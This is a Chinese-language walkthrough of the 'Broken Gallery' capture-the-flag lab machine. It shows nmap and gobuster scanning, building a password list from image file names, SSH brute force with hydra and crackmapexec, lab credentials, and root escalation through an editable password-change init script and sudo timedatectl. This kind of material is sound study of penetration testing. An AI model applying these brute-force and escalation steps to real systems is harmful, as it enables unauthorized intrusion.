Broken Gallery

主机发现

netdiscover -r 192.168.174.0/24

获得目标ip:192.168.174.176

端口,服务扫描

nmap -A -p- 192.168.174.176

得到22和80端口开放

下面还有另一种方法,首先通过namp生成扫描结果的文件

nmap -sT -p- --min-rate 1000 192.168.174.167 -oA ./Broken_galley

生成报告后,用awk去找,算是练习把

cat Broken_galley.nmap | grep "open" | awk -F '/' '{print $1}' | paste -sd ',' 
返回22,80
nmap -sT -sC -sV -p 22,80 192.168.174.176 -oA ./detail

image-20240805195444643

这种带目录的扫描比较好看

访问服务

image-20240804170115370

image-20240804170124532

有一些图片,和一个readme文件,下载下来是一串16进制的字节码

image-20240804174129642

通过xxd还原成二进制文件

xxd -r -ps README.md > README.bin
  • -r选项用于将十六进制格式转换回二进制格式
  • -p表示输出纯粹的十六进制编码,而不包括其他信息
  • -s选项用于跳过文件的前N个字节

通过strings来读二进制文件,通过head来读取前几行内容来确定文件类型

strings README.bin | head -n 10

image-20240805221742308

可以看到jfif头,说明这个文件是图片文件,更改为jpg后缀并打开

mv README.bin README.jpg

image-20240805221943926

应用程序是坏的的,基础设施是坏的。。。没什么思路

目录扫描

dirb http://192.168.174.167

image-20240804174231876

没什么收获,估计要从图片出发,这里也提供另一种方法

gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -u http://192.168.10.111/ -x txt,rar,zip,tar,sql,php

内容会更全一点,但在这里也没什么返回,后台挂着,gobuster还可以扫别的内容

image-20240805195959568

图片隐写

xdg-open  img_forest.jpg 查看图片的命令
strings *.jpg | less

没什么内容

再用exiftool来看看其他图片,没有发现有隐藏的信息

exiftool *.jpg

image-20240805222700803

也有另一种方法看

steghide extract -sf img_5terre.jpg

image-20240805222810915

也没什么内容,只能从爆破ssh去测试了

爆破SSH

看看文件名有啥提示

ls | grep .jpg | sed s/\.jpg//

image-20240805222931750

推测应该是密码或用户名,用这个来生成一个wordlist

ls | grep .jpg | sed s/\.jpg// > wordlist

接下来用hydra爆破测试

hydra -L wordlist -P wordlist 192.168.174.176 ssh

失败,去掉前缀试试

cat wordlist | sed s/img_// > wordlist2

image-20240805223326918

再把broken和galley加上

echo -e "broken\ngalley" >> wordlist2

然后利用rsmangler工具,它首先将对所述输入字和生成的所有排列和字样的缩写(为了它们出现在文件中)完成的各种操作之前它适用的其余部分

https://zing.gitbooks.io/kali-lunix/content/09x/9x29_RSMangler.html

rsmangler -m 6 -x 8 -r -d -e -i --punctuation -y -a -C --pna --nb --space --allow-duplicates -f wordlist2 -o mangled

image-20240805223812412

然后进行爆破

hydra -L wordlist2 -P mangled 192.168.174.176 ssh

image-20240805224445315

也可以从另一种思路出发,根据图片手动生成字典

5terre
forest
lights
mountains
Bob
BROKEN
broken
avrahamacohen.ac@gmail.com
avrahamcohen.ac
avrahamcohen

通过crackmapexec进行SSH爆破

#--continue-on-success:表示成功获得凭据后继续爆破
#跟john相比,john更偏向快速,creackmapexec支持的协议和功能比较多

sudo crackmapexec ssh 192.168.10.111 -u creds -p creds --continue-on-success

image-20240805224630599

获得账号密码

broken:broken

登陆

ssh broken@192.168.174.176

查看可以用户环境

sudo -l

image-20240805224641938

提权

首先查看历史命令,看看线索

image-20240805224742187

发现有个密码策略文件,尝试寻找一下这个文件

ls -lah
cat .sudo_as_admin_successful
locate password-policy.sh

image-20240805225010573

得到路径/etc/init.d/pasword-policy.sh

cat /etc/init.d/password-policy.sh
#!/bin/bash

DAYOFWEEK=$(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK

if [ "$DAYOFWEEK" -eq 4 ]
then
sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi



#if [ "$DAYOFWEEK" == 4 ]

这段脚本是一个简单的 Bash 脚本,用于检查当前是星期几,并在星期四时更改 root 用户的密码。下面是脚本的逐行解释:

  1. #!/bin/bash:这是一个 shebang 行,告诉系统这个脚本应该使用哪个解释器来执行,这里是 Bash。
  2. DAYOFWEEK=$(date +"%u"):这行命令使用 date 命令获取当前的星期数(星期一为 1,星期日为 7),并将其存储在变量 DAYOFWEEK 中。
  3. echo DAYOFWEEK: $DAYOFWEEK:这行打印出当前的星期数。
  4. if [ "$DAYOFWEEK" -eq 4 ]:这是一个条件语句,检查 DAYOFWEEK 是否等于 4(星期四)。
  5. then:如果条件为真(即当前是星期四),则执行下面的命令。
  6. sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd':这行命令使用 sudo 以超级用户权限执行 sh -c,然后通过管道将 echo 命令的输出传递给 chpasswd 命令,从而更改 root 用户的密码为 “TodayIsAgoodDay”。
  7. fi:结束 if 语句。

注释掉的 #if [ "$DAYOFWEEK" == 4 ] 行是另一种写法,使用 == 进行字符串比较,但由于 DAYOFWEEK 是一个数字,所以应该使用 -eq 来进行数值比较。

为了测试,我们改成周一的版本,我们先通过下面的方法改一下脚本,再来reboot

date +"%u"

image-20240805230412615

cat /etc/init.d/password-policy.sh
#!/bin/bash

DAYOFWEEK=$(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK

if [ "$DAYOFWEEK" -eq 1 ]
then
sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi



#if [ "$DAYOFWEEK" == 4 ]
sudo reboot

image-20240805230552620

ssh root@192.168.174.176

记得用broken连上再su root

image-20240805230751633

timedatectl提权

image-20240805225707696

前面我们看到broken用户还可以执行timedatectl命令

通过gtfobins:https://gtfobins.github.io/ 来查看对应的提权方法

image-20240805225855524

sudo timedatectl list-timezones

image-20240805230037506